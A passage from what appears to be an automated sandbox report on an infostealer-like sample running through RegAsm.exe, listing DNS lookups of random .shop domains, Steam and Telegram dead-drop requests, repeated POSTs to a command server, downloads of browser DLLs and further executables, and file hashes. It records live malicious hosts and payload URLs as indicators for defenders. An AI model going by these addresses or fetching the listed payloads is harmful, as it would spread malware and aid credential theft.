      relaxatinownio.shop
      IN A
      Response
    • flag-us
      DNS
      reggwardssdqw.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      reggwardssdqw.shop
      IN A
      Response
    • flag-us
      DNS
      eemmbryequo.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      eemmbryequo.shop
      IN A
      Response
    • flag-us
      DNS
      tryyudjasudqo.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      tryyudjasudqo.shop
      IN A
      Response
    • flag-us
      DNS
      steamcommunity.com
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      steamcommunity.com
      IN A
      Response
      steamcommunity.com
      IN A
      2.22.99.85
    • flag-gb
      GET
      https://steamcommunity.com/profiles/76561199724331900
      RegAsm.exe
      Remote address:
      2.22.99.85:443
      Request
      GET /profiles/76561199724331900 HTTP/1.1
      Connection: Keep-Alive
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
      Host: steamcommunity.com
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Content-Type: text/html; charset=UTF-8
      Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
      Expires: Mon, 26 Jul 1997 05:00:00 GMT
      Cache-Control: no-cache
      Date: Thu, 19 Sep 2024 05:10:23 GMT
      Content-Length: 34734
      Connection: keep-alive
      Set-Cookie: sessionid=bf0dccdb33e4d785e02df328; Path=/; Secure; SameSite=None
      Set-Cookie: steamCountry=GB%7C0cca5b35055ce513436d8b708d875660; Path=/; Secure; HttpOnly; SameSite=None
    • flag-us
      DNS
      tenntysjuxmz.shop
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      tenntysjuxmz.shop
      IN A
      Response
    • flag-us
      DNS
      gacan.zapto.org
      RegAsm.exe
      Remote address:
      8.8.8.8:53
      Request
      gacan.zapto.org
      IN A
      Response
    • flag-us
      DNS
      85.99.22.2.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      85.99.22.2.in-addr.arpa
      IN PTR
      Response
      85.99.22.2.in-addr.arpa
      IN PTR
      a2-22-99-85deploystaticakamaitechnologiescom
    • flag-nl
      GET
      https://t.me/edm0d
      RegAsm.exe
      Remote address:
      149.154.167.99:443
      Request
      GET /edm0d HTTP/1.1
      Host: t.me
      Connection: Keep-Alive
      Cache-Control: no-cache
      Cookie: stel_ssid=a5018599ac5dd0a0a3_4283296139062035916
      Response
      HTTP/1.1 200 OK
      Server: nginx/1.18.0
      Date: Thu, 19 Sep 2024 05:10:23 GMT
      Content-Type: text/html; charset=utf-8
      Content-Length: 12286
      Connection: keep-alive
      Pragma: no-cache
      Cache-control: no-store
      X-Frame-Options: ALLOW-FROM https://web.telegram.org
      Content-Security-Policy: frame-ancestors https://web.telegram.org
      Strict-Transport-Security: max-age=35768000
    • flag-de
      GET
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:24 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----EHDAAECAEBKJKFHJKECF
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 255
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:24 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBK
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 331
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:25 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 331
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:25 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 4705
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:27 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-de
      GET
      https://116.202.0.195/sqlp.dll
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      GET /sqlp.dll HTTP/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:27 GMT
      Content-Type: application/octet-stream
      Content-Length: 2459136
      Connection: keep-alive
      Last-Modified: Thursday, 19-Sep-2024 05:10:27 GMT
      Cache-Control: no-store, no-cache
      Accept-Ranges: bytes
    • flag-de
      POST
      https://116.202.0.195/
      RegAsm.exe
      Remote address:
      116.202.0.195:443
      Request
      POST / HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEH
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
      Host: 116.202.0.195
      Content-Length: 437
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Thu, 19 Sep 2024 05:10:28 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
    • flag-us
      DNS
      103.169.127.40.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      103.169.127.40.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      206.23.85.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      206.23.85.13.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      240.221.184.93.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      240.221.184.93.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      23.236.111.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      23.236.111.52.in-addr.arpa
      IN PTR
      Response
    • 149.154.167.99:443
      https://t.me/edm0d
      tls, http
      RegAsm.exe
      1.5kB
      19.4kB
      24
      20

      HTTP Request

      GET https://t.me/edm0d

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.0kB
      2.7kB
      11
      8

      HTTP Request

      GET https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.4kB
      622 B
      9
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.5kB
      2.2kB
      10
      7

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.7kB
      6.4kB
      13
      10

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.5kB
      672 B
      9
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      6.0kB
      565 B
      13
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/sqlp.dll
      tls, http
      RegAsm.exe
      84.9kB
      2.5MB
      1832
      1828

      HTTP Request

      GET https://116.202.0.195/sqlp.dll

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.6kB
      565 B
      9
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.6kB
      565 B
      9
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/freebl3.dll
      tls, http
      RegAsm.exe
      24.4kB
      707.6kB
      517
      514

      HTTP Request

      GET https://116.202.0.195/freebl3.dll

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/mozglue.dll
      tls, http
      RegAsm.exe
      21.8kB
      627.8kB
      459
      456

      HTTP Request

      GET https://116.202.0.195/mozglue.dll

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/msvcp140.dll
      tls, http
      RegAsm.exe
      16.3kB
      464.7kB
      341
      338

      HTTP Request

      GET https://116.202.0.195/msvcp140.dll

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/softokn3.dll
      tls, http
      RegAsm.exe
      9.8kB
      266.6kB
      199
      196

      HTTP Request

      GET https://116.202.0.195/softokn3.dll

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/vcruntime140.dll
      tls, http
      RegAsm.exe
      3.8kB
      84.0kB
      68
      65

      HTTP Request

      GET https://116.202.0.195/vcruntime140.dll

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/nss3.dll
      tls, http
      RegAsm.exe
      70.9kB
      2.1MB
      1526
      1522

      HTTP Request

      GET https://116.202.0.195/nss3.dll

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      2.3kB
      565 B
      10
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.5kB
      2.8kB
      10
      7

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.5kB
      2.1kB
      10
      7

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.6kB
      565 B
      9
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      110.9kB
      2.4kB
      88
      51

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.5kB
      696 B
      9
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 203.175.9.144:443
      https://nasionaltv.com/vfdshf.exe
      tls, http
      RegAsm.exe
      24.3kB
      690.9kB
      505
      500

      HTTP Request

      GET https://nasionaltv.com/ldfnsa.exe

      HTTP Response

      200

      HTTP Request

      GET https://nasionaltv.com/vfdshf.exe

      HTTP Response

      200
    • 173.222.211.9:80
      http://r10.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRpD%2BQVZ%2B1vf7U0RGQGBm8JZwdxcgQUdKR2KRcYVIUxN75n5gZYwLzFBXICEgRsr0%2BS3EwOUB4TVRZf2dOszg%3D%3D
      http
      RegAsm.exe
      472 B
      1.0kB
      5
      3

      HTTP Request

      GET http://r10.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRpD%2BQVZ%2B1vf7U0RGQGBm8JZwdxcgQUdKR2KRcYVIUxN75n5gZYwLzFBXICEgRsr0%2BS3EwOUB4TVRZf2dOszg%3D%3D

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.7kB
      565 B
      9
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.6kB
      525 B
      8
      5

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.4kB
      518 B
      8
      5

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 2.22.99.85:443
      https://steamcommunity.com/profiles/76561199724331900
      tls, http
      RegAsm.exe
      1.5kB
      42.2kB
      21
      36

      HTTP Request

      GET https://steamcommunity.com/profiles/76561199724331900

      HTTP Response

      200
    • 149.154.167.99:443
      https://t.me/edm0d
      tls, http
      RegAsm.exe
      1.5kB
      19.2kB
      24
      20

      HTTP Request

      GET https://t.me/edm0d

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.0kB
      2.7kB
      11
      8

      HTTP Request

      GET https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.4kB
      622 B
      9
      6

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.5kB
      2.2kB
      10
      7

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.7kB
      6.4kB
      13
      10

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      tls
      RegAsm.exe
      1.5kB
      672 B
      9
      6
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      6.1kB
      605 B
      13
      7

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/sqlp.dll
      tls, http
      RegAsm.exe
      86.5kB
      2.5MB
      1837
      1830

      HTTP Request

      GET https://116.202.0.195/sqlp.dll

      HTTP Response

      200
    • 116.202.0.195:443
      https://116.202.0.195/
      tls, http
      RegAsm.exe
      1.5kB
      528 B
      8
      5

      HTTP Request

      POST https://116.202.0.195/

      HTTP Response

      200
    • 8.8.8.8:53
      228.249.119.40.in-addr.arpa
      dns
      73 B
      159 B
      1
      1

      DNS Request

      228.249.119.40.in-addr.arpa

    • 8.8.8.8:53
      172.210.232.199.in-addr.arpa
      dns
      74 B
      128 B
      1
      1

      DNS Request

      172.210.232.199.in-addr.arpa

    • 8.8.8.8:53
      t.me
      dns
      RegAsm.exe
      50 B
      66 B
      1
      1

      DNS Request

      t.me

      DNS Response

      149.154.167.99

    • 8.8.8.8:53
      23.159.190.20.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      23.159.190.20.in-addr.arpa

    • 8.8.8.8:53
      99.167.154.149.in-addr.arpa
      dns
      73 B
      166 B
      1
      1

      DNS Request

      99.167.154.149.in-addr.arpa

    • 8.8.8.8:53
      95.221.229.192.in-addr.arpa
      dns
      73 B
      144 B
      1
      1

      DNS Request

      95.221.229.192.in-addr.arpa

    • 8.8.8.8:53
      36.249.124.192.in-addr.arpa
      dns
      73 B
      113 B
      1
      1

      DNS Request

      36.249.124.192.in-addr.arpa

    • 8.8.8.8:53
      195.0.202.116.in-addr.arpa
      dns
      72 B
      129 B
      1
      1

      DNS Request

      195.0.202.116.in-addr.arpa

    • 8.8.8.8:53
      232.168.11.51.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      232.168.11.51.in-addr.arpa

    • 8.8.8.8:53
      58.55.71.13.in-addr.arpa
      dns
      70 B
      144 B
      1
      1

      DNS Request

      58.55.71.13.in-addr.arpa

    • 8.8.8.8:53
      nasionaltv.com
      dns
      RegAsm.exe
      60 B
      76 B
      1
      1

      DNS Request

      nasionaltv.com

      DNS Response

      203.175.9.144

    • 8.8.8.8:53
      r10.o.lencr.org
      dns
      RegAsm.exe
      61 B
      160 B
      1
      1

      DNS Request

      r10.o.lencr.org

      DNS Response

      173.222.211.9
      173.222.211.43

    • 8.8.8.8:53
      144.9.175.203.in-addr.arpa
      dns
      72 B
      108 B
      1
      1

      DNS Request

      144.9.175.203.in-addr.arpa

    • 8.8.8.8:53
      168.245.100.95.in-addr.arpa
      dns
      73 B
      139 B
      1
      1

      DNS Request

      168.245.100.95.in-addr.arpa

    • 8.8.8.8:53
      9.211.222.173.in-addr.arpa
      dns
      72 B
      137 B
      1
      1

      DNS Request

      9.211.222.173.in-addr.arpa

    • 8.8.8.8:53
      licenseodqwmqn.shop
      dns
      RegAsm.exe
      65 B
      122 B
      1
      1

      DNS Request

      licenseodqwmqn.shop

    • 8.8.8.8:53
      keennylrwmqlw.shop
      dns
      RegAsm.exe
      192 B
      363 B
      3
      3

      DNS Request

      keennylrwmqlw.shop

      DNS Request

      keennylrwmqlw.shop

      DNS Request

      keennylrwmqlw.shop

    • 8.8.8.8:53
      tendencctywop.shop
      dns
      RegAsm.exe
      64 B
      121 B
      1
      1

      DNS Request

      tendencctywop.shop

    • 8.8.8.8:53
      tesecuuweqo.shop
      dns
      RegAsm.exe
      62 B
      119 B
      1
      1

      DNS Request

      tesecuuweqo.shop

    • 8.8.8.8:53
      relaxatinownio.shop
      dns
      RegAsm.exe
      65 B
      122 B
      1
      1

      DNS Request

      relaxatinownio.shop

    • 8.8.8.8:53
      reggwardssdqw.shop
      dns
      RegAsm.exe
      64 B
      121 B
      1
      1

      DNS Request

      reggwardssdqw.shop

    • 8.8.8.8:53
      eemmbryequo.shop
      dns
      RegAsm.exe
      62 B
      119 B
      1
      1

      DNS Request

      eemmbryequo.shop

    • 8.8.8.8:53
      tryyudjasudqo.shop
      dns
      RegAsm.exe
      64 B
      121 B
      1
      1

      DNS Request

      tryyudjasudqo.shop

    • 8.8.8.8:53
      steamcommunity.com
      dns
      RegAsm.exe
      64 B
      80 B
      1
      1

      DNS Request

      steamcommunity.com

      DNS Response

      2.22.99.85

    • 8.8.8.8:53
      tenntysjuxmz.shop
      dns
      RegAsm.exe
      63 B
      120 B
      1
      1

      DNS Request

      tenntysjuxmz.shop

    • 8.8.8.8:53
      gacan.zapto.org
      dns
      RegAsm.exe
      61 B
      121 B
      1
      1

      DNS Request

      gacan.zapto.org

    • 8.8.8.8:53
      85.99.22.2.in-addr.arpa
      dns
      69 B
      131 B
      1
      1

      DNS Request

      85.99.22.2.in-addr.arpa

    • 8.8.8.8:53
      103.169.127.40.in-addr.arpa
      dns
      73 B
      147 B
      1
      1

      DNS Request

      103.169.127.40.in-addr.arpa

    • 8.8.8.8:53
      206.23.85.13.in-addr.arpa
      dns
      71 B
      145 B
      1
      1

      DNS Request

      206.23.85.13.in-addr.arpa

    • 8.8.8.8:53
      240.221.184.93.in-addr.arpa
      dns
      73 B
      144 B
      1
      1

      DNS Request

      240.221.184.93.in-addr.arpa

    • 8.8.8.8:53
      23.236.111.52.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      23.236.111.52.in-addr.arpa

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\CFBFCGIDAK.exe

      Filesize

      355KB

      MD5

      731a25a9b1f2c31056f7bd75c71deac4

      SHA1

      ac95005a75add78f8226e553ff3bb32bcfeef1ea

      SHA256

      d0285d1ff85d7ef17ce9e3c0b185bd93624d6fde47a2cf0ec99a8cfd4a7afb0d

      SHA512

      efccfa84482c3a262c2efe9d5107a22a94efae352a46d01c0c677266835bb1d4b04a105ff7b94c5042640d40672576512ca06201260a5ee82257c7f524304fa4

    • C:\ProgramData\HDAFHIDGIJ.exe

      Filesize

      293KB

      MD5

      6d1999f1096cee3f06507e0d896d7c4a

      SHA1

      947cde63e799d23622468caecd0172a4ce8e8c17

      SHA256

      6f8b44c727d44c82461e3e33098a1d93517bd200c4489120914f34e22715309c

      SHA512

      eb46aa64facd4456eaad1b24ee158b9e7bd5426580caf1ca4d5cd24fe08127612b8fcb2e1cedd054daff85e315d3942fb75bc5959c89baadf832d70a8a0982b1

    • C:\ProgramData\IJECBGIJDGCA\JEHIDH

      Filesize

      160KB

      MD5

      f310cf1ff562ae14449e0167a3e1fe46

      SHA1

      85c58afa9049467031c6c2b17f5c12ca73bb2788

      SHA256

      e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855

      SHA512

      1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

    • C:\ProgramData\mozglue.dll

      Filesize

      593KB

      MD5

      c8fd9be83bc728cc04beffafc2907fe9

      SHA1

      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

      SHA256

      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

      SHA512

      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    • C:\ProgramData\nss3.dll

      Filesize

      2.0MB

      MD5

      1cc453cdf74f31e4d913ff9c10acdde2

      SHA1

      6e85eae544d6e965f15fa5c39700fa7202f3aafe

      SHA256

      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

      SHA512

      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\156887258BBD6E1FEF562837733EA04E_5BBC02CEDFD3F7AC9E268D830CF231EE

      Filesize

      2KB

      MD5

      912f27bcbbbdd339d73baf2ecec184e7

      SHA1

      de4c42adf7c06de811958807014887a4c0d41c95

      SHA256

      ac4301cf80e1320cc836f85d90d28221a50ec57e6129b195acf0cb00df5d18b2

      SHA512

      3315247d610e70893844af18d903d1010e0d9df7dc3dcaee2b83e4d52fd52910e2623cdcb5e33bc8e8253129914091e20a7a35d51b500fdf4eba2c48da83fcd8

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771

      Filesize

      2KB

      MD5

      9541342916b0c5b0ee2f6062398b867f

      SHA1

      46fc51b5aa29f366ef96946c16cbe9b7f67c9392

      SHA256

      e6548a38d5a516be84c393b45ce4a1577e4bbd6bb40aad980237037fe0e5a740

      SHA512

      d763f9f0676bb94f8211aae463896cf1c545531c1c43ee9d60272427c3a7ea56dc332e8e4a08c570a87bc26908de326ef0f196da8ad79051f6cad2dfcd0579aa

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D

      Filesize

      1KB

      MD5

      8515f6b60a6e8becf75da139b0767c36

      SHA1

      a926e7923af47636662c56e51ec8e0485d0e7b61

      SHA256

      42f8b46499f0f8fd94833336b4bdc1e908cb2b6b719d72229764bef52b80a6d6

      SHA512

      67450b06ebcc344b6eee9e5913a741161b1cf081cdb0d4ea5a6224735b2d490c46f1cb4783299265ec13212672af49de8b271b284951c9c229c700468ed322d2

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\156887258BBD6E1FEF562837733EA04E_5BBC02CEDFD3F7AC9E268D830CF231EE

      Filesize

      458B

      MD5

      9fd96b75523fce6a1996617de340b825

      SHA1

      8070a6e767c5e178fa6bca5b45c335f8ec4d8a17

      SHA256

      00dec3a2c4c957723bf8b72cbb7246316da1578b963c561bef24cb4a6571c356

      SHA512

      c462aec7ae7265447da9e530490e55bcdceb94c5df547d8184a881c6207889d34c57ea08a829a55b8fab2613f18b32f25129206ee569253c75e57c61a07d5480

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771

      Filesize

      450B

      MD5

      db5c542c3bf8f2712b83dee442e29bbd

      SHA1

      fb625fb8e40fb3d336d960803376dab04752dad9

      SHA256

      e5b65006ada67f42064ed94f5894fd24a8a5cd0d998e4f34b6f9dd52d507d8ab

      SHA512

      2cd10ddc0548be9a55f8d459c5b1fbda97a2c11e8dad01c2eda82c7f2a6a6c008eb0ed2049109e63b07aa35ed06e74bf545d48b80ec23f7acb7209eb9c43726a

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D

      Filesize

      458B

      MD5

      346e48a591c3504887e5a8d2bbed98ba

      SHA1

      7b4e86d52f2defa37b4d428e14600cdfaedbdb9d

      SHA256

      67f5de52d065d6d7a1d208335b27faafafc87ed2fa5defaee084ac0bada4a992

      SHA512

      cb14fe00af432547d1bb298db10758dbc2f0ffa63702a8588311873014b5d2c73faf20da5038be9f4796b3e31899e96e555269f39d215a95ded397d939a3b6e7

    • memory/1812-124-0x0000000000400000-0x000000000045D000-memory.dmp

      Filesize

      372KB

    • memory/1812-117-0x0000000000400000-0x000000000045D000-memory.dmp

      Filesize

      372KB

    • memory/1812-120-0x0000000000400000-0x000000000045D000-memory.dmp

      Filesize

      372KB

    • memory/2460-0-0x000000007440E000-0x000000007440F000-memory.dmp

      Filesize

      4KB

    • memory/2460-7-0x0000000074400000-0x0000000074BB0000-memory.dmp

      Filesize

      7.7MB

    • memory/2460-6-0x0000000074400000-0x0000000074BB0000-memory.dmp

      Filesize

      7.7MB

    • memory/2460-2-0x0000000074400000-0x0000000074BB0000-memory.dmp

      Filesize

      7.7MB

    • memory/2460-1-0x0000000000130000-0x000000000017A000-memory.dmp

      Filesize

      296KB

    • memory/3920-115-0x00000000719A0000-0x0000000072150000-memory.dmp

      Filesize

      7.7MB

    • memory/3920-122-0x00000000719A0000-0x0000000072150000-memory.dmp

      Filesize

      7.7MB

    • memory/3920-123-0x00000000719A0000-0x0000000072150000-memory.dmp

      Filesize

      7.7MB

    • memory/3920-113-0x00000000719AE000-0x00000000719AF000-memory.dmp

      Filesize

      4KB

    • memory/3920-114-0x0000000000E70000-0x0000000000ECA000-memory.dmp

      Filesize

      360KB

    • memory/4152-142-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/4152-140-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

    • memory/4152-170-0x0000000000400000-0x0000000000657000-memory.dmp

      Filesize

      2.3MB

